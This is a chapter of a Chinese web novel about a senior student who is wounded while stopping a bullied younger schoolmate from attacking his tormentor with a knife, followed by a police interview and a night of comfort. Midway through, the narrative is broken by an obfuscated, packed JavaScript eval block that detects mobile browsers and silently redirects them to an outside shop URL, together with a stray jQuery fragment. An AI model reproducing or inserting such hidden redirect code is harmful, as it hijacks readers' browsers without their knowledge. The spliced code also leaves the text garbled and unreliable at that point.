警车后排没有开灯。
宋星燃坐在后排靠窗的位置，左手捂着右臂。血已经不流了，凝固的血痂把手指和袖子黏在了一起。林远坐在他旁边，靠得很近，但两个人中间隔着一道看不见的墙。林远的双手放在膝盖上，手指在发抖——不是冷，是指尖止不住地颤。
副驾驶上坐着一个警察，四十出头，帽檐压得很低。没说话，只是从后视镜里看着他们两个。
车窗外面的路灯一盏一盏往后滑。
宋星燃转头看了一眼林远。林远低着头，校服领子竖起来遮住了半边脸，肩膀往里缩着，整个人像一张被揉皱的纸。
到了医院。警察领着他们从急诊通道进去。值班医生是个三十多岁的男人，戴眼镜，看了一眼宋星燃的手臂，说了句"外伤"，让他坐到处置室的高脚凳上。
袖子剪开。伤口被碘伏棉签擦拭的时候，宋星燃倒吸了一口气。
"十五公分，好在不是很深。"医生的声音很平，"没伤到肌腱，不用缝针。留疤是肯定留的。"
白色的纱布在手臂上缠了四五圈。医生打好结，撕掉多余的边角。"别沾水。两天换一次药。"
宋星燃说谢谢。
从医院出来，警车直接开到了派出所。一个三层的老楼，白墙灰窗，门口的灯箱亮着"城关派出所"四个字。院子里停着两辆警车，一棵老槐树的影子压在传达室的屋顶上。
警察把他们带进一楼的一间办公室。不是讯问室——讯问室是铁门铁锁，这个房间只有一张办公桌，几把椅子，墙上挂着一面锦旗，"公正执法"。
"你们两个先在这里坐着。不要乱动。"
门虚掩着。走廊里有人走动，电话铃响了几声，有人在楼道尽头说"知道了知道了，马上过去"。
宋星燃坐在靠墙的椅子上。右臂上的纱布在日光灯下白得发亮。他看了一眼林远——林远坐在他对面，低着头，两只手攥在一起，拇指不停地互相掐着。指甲掐进肉里，掐出一个一个白色的印子。
"手松开。"宋星燃说。
林远抬起头，愣了一下。然后把手松开了。指甲离开的地方，虎口上全是月牙形的红印。
门被推开。
进来的是一个五十出头的老警察，没戴帽子，头发灰白，脸上的皱纹被日光灯一照显得更深。他手里拿着一个保温杯，杯盖上夹着一包铁观音。他坐下来，拧开杯盖，吹了吹浮在面上的茶叶。然后才抬起眼睛，看了看面前的两个学生。
"说吧。怎么回事。"
不是疑问句。是陈述句——那种听了太多故事，对任何开场白都没兴趣的语调。
林远的喉结动了一下。嘴唇张开，又合上。什么都没说出来。
宋星燃开口了。
"警察叔叔，是这样的——"
"你叫宋星燃？"老警察打断他，翻开面前的一个登记本，"高三一班的？"
"是。"
"你呢？"他看向林远。
林远的声音很轻。"林远。高一五班的。"
老警察拿起笔，在登记本上写了几笔。"为什么会在四楼？高三的宿舍不是在三楼吗。"
"我去还东西给林远。"宋星燃说，"上次他借了我一包纸巾，今天想起来就上去还了。"
"还纸巾。"老警察的笔停了一下。他抬起眼睛看宋星燃，看了大概三秒钟，像是在判断什么，然后低下头继续写。"然后呢。"
"然后到了他们宿舍门口，听见里面在吵架。我推门进去，看见林远手里拿着一把削铅笔的小刀——"
"拿着刀。"老警察重复了一遍。他没有看宋星燃，而是转头看向林远。"你拿刀干什么？"
林远的手指又开始掐虎口。
"你知不知道持刀是什么性质？"老警察的声音拔高了一点——不是吼，是那种父亲训儿子的调子。"你知不知道，这要是真出了事，你现在就不是坐在这里了！"
林远的肩膀往后缩了一下。
"警察叔叔——"宋星燃把身子往前倾了倾，"不是的，不是的。都是小孩子闹着玩的。"
老警察转过头看他。
宋星燃说："今天这事儿纯属意外。林远就是跟他们宿舍的人在闹着玩，小孩子之间打打闹闹很正常。我没站稳，不小心撞了一下，手就划到了刀口上。真不是故意的。"
办公室里安静了大概五秒钟。
老警察把笔放在登记本上。慢悠悠的，像是在放一件不用着急的东西。然后他抬起头，看着宋星燃。
"你说意外就是意外？"他的声音不高，但每一个字都像钉子。"你知不知道旁边宿舍的人说听见有人喊'砍死你'？你知不知道，我干了三十年警察，一个学生能喊出'砍死你'，那叫孩子之间打打闹闹？"
宋星燃没有接话。
"你高三了。再有几个月就高考了。你成绩应该不差——我看你说话条理很清楚。"老警察端起保温杯，喝了一口茶。杯子放下来的时候，杯底和桌面磕出一声脆响。"你今天是运气好，刀只划到手臂。你要是运气不好呢？你要是再往旁边偏几厘米呢？"
他站起来，绕过办公桌，走到宋星燃面前。
"你知不知道每年有多少学生，就是因为一时冲动，一辈子就毁了？"他的眼睛是灰色的，瞳孔周围有一圈淡褐色的老花环。"你以为你在帮他？你是在害他。你今天替他扛这件事，明天他就会觉得拿刀出来是可以的——因为有人在后面替他兜着。"
宋星燃看着他。不躲。
老警察看了他大概五秒钟。然后走回桌前，重新坐下来。
"那个叫周铭的呢？"
宋星燃说："他应该还在宿舍。"
"我已经让人去叫了。"老警察把登记本往前翻了一页，"你们三个，今天晚上把情况给我说清楚。"
周铭被带进来的时候，头发是乱的，校服外套没拉拉链。他走进来看到宋星燃和林远，脚步顿了一下。然后他选择了离宋星燃最远的那把椅子坐下来。
老警察问周铭，事情是怎么发生的。
周铭说他们在宿舍开着玩笑，林远突然就拿出刀来。
"什么玩笑？"
周铭的嘴巴张了一下。然后合上了。
"你让他去接洗脚水——"宋星燃说，声音很平，"然后踹了他一脚。踹在屁股上。"
周铭转过头看他，眼睛睁大了。
"有这事吗？"老警察问周铭。
周铭说："我就是跟他闹着玩的——"
"闹着玩。"老警察又重复了一遍这个词。他没有往下说，只是在登记本上写了一行字。
口供录了将近一个小时。
老警察问每一个人的名字、班级、事情经过。问得很细——几点几分，谁说了什么，刀怎么拿的，谁往前迈了几步。宋星燃回答每一句话的时候都不带表情。林远的声音一直很小，但说的都是实话。周铭说到后面，声音越来越低，最后几乎是在嗓子眼里嘟囔。
老警察合上登记本。
"今天的事，给你们每个人记一笔。"他看着面前三个学生，"不是处分——我没那个权力。是让你们记住。记住了吗？"
没有人回答。
"记住了吗？"他又问了一遍。
"记住了，记住了。"宋星燃赶紧接上。他伸手搂住林远的肩膀，陪笑着说，"他也记住了。真的，都记住了。"
老警察挥了挥手。"走吧。以后别让我在这里看见你们。"
从派出所办公楼出来的时候，院子里停了一辆黑色的桑塔纳。车门推开，下来一个四十来岁的男老师，戴眼镜，一下车就大步走过来。
"我是周铭和林远的班主任。"他跟老警察握了个手，"给您添麻烦了。"
老警察摆摆手。"先把人带回去。明天来所里补个材料。"
男老师看了一眼周铭，又看了一眼林远。周铭低着头，不敢对视。林远站在原地，两只手攥在身侧。
宋星燃领着他们走出派出所大门。门口的台阶不高——四级。周铭站在台阶下面，离班主任很近。林远走到最上面那级，不走了，坐了下来。腿在发抖，两只手攥成拳头搁在膝盖上，指节发白。
宋星燃看了一眼林远，转头对男老师说："老师，您先带周铭回去吧。林远交给我。"
男老师看了看台阶上的林远。林远一动不动，眼睛盯着自己的鞋尖，像是什么都听不见。男老师犹豫了一下。
"您是——"
"高三一班，宋星燃。"
男老师看了他大概两秒钟。然后点了点头。"那麻烦你了。明天早上带他回学校。"
周铭被班主任领进桑塔纳的后座。车门砰一声关上，尾灯在院子里亮了两秒，然后拐出大门，消失在路口。
宋星燃刚想说话，手机震了一下。来电显示：张老师。
他接起来。
"宋星燃——"张桂兰的声音从电话那头劈过来，"学校政教处刚给我打的电话，说你在派出所——你到底怎么回事？"
"张老师。"宋星燃往路边走了两步，声音放低，"没什么大事。我去四楼还个东西，楼上小朋友之间发生了点矛盾，不小心殃及池鱼了。"
"你少跟我来这套。"张桂兰的嗓门拔高了，"学校说你手受伤了——你现在人呢？"
"刚从派出所出来。"宋星燃看了看手臂上的纱布，"手没事。已经去医院处理过了，划了一下，不深，医生说不用缝针。"
电话那头沉默了两秒。
"到底发生了什么。"
"张老师。"宋星燃的语气缓下来，"已经没事了。真的——警察已经处理完了，我们刚从派出所出来。时候不早了，您赶紧休息吧，明天还要上课。"
"你在哪个派出所？我现在过去——"
"城关派出所。但我已经出来了，您过来也是白跑。"宋星燃说，"真的没事。您相信我。要是有事我不会瞒您的。"
张桂兰在电话那头深吸了一口气，又长长地呼出来。
"明天来办公室找我。"
"行。"
"不准跑。"
"不跑。"
电话挂了。
宋星燃把手机揣回裤兜，转过身。林远还坐在台阶上，一动不动。路灯的光打在他身上，把影子拉得很长很细。
宋星燃走过去，在他旁边坐下来。
台阶的水泥地冰凉，隔着校服裤子都能感觉到那股凉意往上渗。
"你在害怕吗。"
不是疑问句。和他问自己"然后呢"一样的语气。
林远没有说话。他的眼睛盯着自己的鞋尖。白色的运动鞋上溅了几滴暗红色的血点——宋星燃的血。他没擦。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628262|206277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宋星燃往后靠了靠，左手手肘撑在上一级台阶上。
"没事的。"他说。声音不大，但很清楚。"这件事错不在你。"
林远的肩膀动了一下。
"你想要报复他的想法，没有错。"宋星燃看着街对面那排关了门的店铺，"错的是你采取的方式。我知道你就算告诉老师、告诉学校，大概率也没有用——他们只会说，同学之间的小打小闹，都是开玩笑而已。"
林远的喉结滚动了一下。
"但你采取的方式太极端了。"宋星燃的语气没有变——不训斥，不讲大道理，就是平。"你有没有想过，如果你今天真的把他杀了——那不是你们两个人的事。是你们两个家庭的事。你爸妈怎么办？"
这句话像一把钥匙。插进了某个锁眼，拧了一下。
林远的眼眶红了。
不是那种慢慢的红。是突然一下子，像有人把红色的墨水滴进了水里。眼泪先是一颗一颗的掉，然后连成了一条线，顺着脸颊往下淌。他的嘴唇在抖——不是哭出声的那种抖，是牙齿和牙齿互相磕碰的抖，咔咔咔的，和他在宿舍里松开刀的那一刻一模一样。
"来上学之前——"林远的声音断断续续的，像一台信号不好的收音机，"我妈跟我说——不要在学校惹事——要好好学习——"
他吸了一口气，呛住了。
"我没有惹事。我从来没有惹事——"他的嗓子被什么东西堵住了，声音挤得很窄，"是他们欺负我——是他们——我什么都没有做——"
最后几个字是撕出来的。不是喊，是撕。像是把这三年被踹过的每一脚、被骂过的每一句话、被当成奴隶使唤的每一个晚上，全都从嗓子眼里扯了出来。
宋星燃看着他。
然后转过身，把他抱住了。
林远的身体在宋星燃的怀里僵了一瞬。然后塌了——像一堵被水泡了太久的墙，终于撑不住了，全塌了下来。他把脸埋进宋星燃的胸口，哭出了声音。不是呜咽，是嚎啕。是那种压抑了太久、好不容易找到出口的嚎啕。
宋星燃用左手轻轻拍着他的背。
一下。两下。三下。
"我知道不是你的错。"他的声音很轻，像在哄一个摔了膝盖的小朋友。"是他们的错。"
林远哭得更凶了。他的手指攥着宋星燃的校服，攥得指节发白。眼泪把宋星燃胸口的布料浸湿了，湿到能感觉到眼泪的温度——烫的。不是凉的。是烫的。
路灯的光打在两个人的身上。风把街对面那一排店招的铁皮吹得哗啦啦响。
宋星燃没再说话。只是继续拍着他的背。
大概过了十多分钟。哭声慢慢转成了抽泣。林远的肩膀不再剧烈地抖了，只是偶尔还会抽一下。
宋星燃松开手臂，站起来。
"走吧。"
林远抬起头。眼睛哭肿了，眼眶红得像兔子。他的脸上还挂着泪，鼻子下面亮晶晶的。他看着宋星燃，表情是空的——不是没有情绪，是情绪全都哭干了，只剩下一种不知道该去哪里的茫然。
"这都快两点了。"宋星燃看了看手机，"宿舍早锁了。难不成你想在这里坐到天亮。"
林远低下头，慢慢地站起来。腿还是软的，站直的时候晃了一下。
学校附近的宾馆不多。有一家叫"学友旅社"的，就在校门口那条街拐进去的小巷子里。老板娘是个胖胖的中年妇女，看见两个穿着校服的男生半夜来开房，多看了两眼——主要是看宋星燃手臂上缠的纱布。
"标间。"宋星燃把身份证放在柜台上，"住一晚。"
"两个人一间？"
"嗯。"
老板娘没再多问。钥匙是一张旧式的磁卡。"二楼。二零三。"
房间不大。两张单人床，一套桌椅，电视机是老式的显像管，床头柜上放着一只烟灰缸。窗帘是深蓝色的，有一角没拉好，月光从缝里挤进来，在地板上画了一道白线。
宋星燃把鞋脱了，坐在靠窗的那张床上。"洗不洗澡？"
林远摇了摇头。
"那把衣服脱了。早点休息。"
林远站在床尾，犹豫了一下。然后他开始脱外套。
校服拉链拉下来的时候，宋星燃看到了。
林远的身上。隔着里面那件白色的短袖T恤，能看到一块一块的颜色——不是皮肤的颜色。是青的、紫的、黄的，一层叠一层，新旧不一。锁骨下面有一块拳头大的淤青。肋骨上有一条长条形的紫色印子，像是被什么东西抽出来的——衣架，或者是扫帚杆。
林远把校服外套放到床尾。抬起头的时候对上了宋星燃的目光。
他下意识地把身体侧过去。像是一个做了太多次的动作，已经刻进了肌肉记忆。
宋星燃看了大概三秒钟。然后移开目光，伸手把床头灯关了。
"睡吧。"他说。
房间里暗下来。月光从窗帘缝里挤进来，照在两床之间窄窄的过道上。
宋星燃仰面躺着。天花板上的吸顶灯在黑暗中只是一个模糊的轮廓。手臂上的纱布有一点发紧，不是疼——是那种伤口在愈合的痒，隐隐的，从纱布底下往骨头里钻。
对面的床上，林远翻了一个身。床垫吱呀响了一下。
然后慢慢安静了。
呼吸声变得均匀。很轻。但这一次，不是害怕。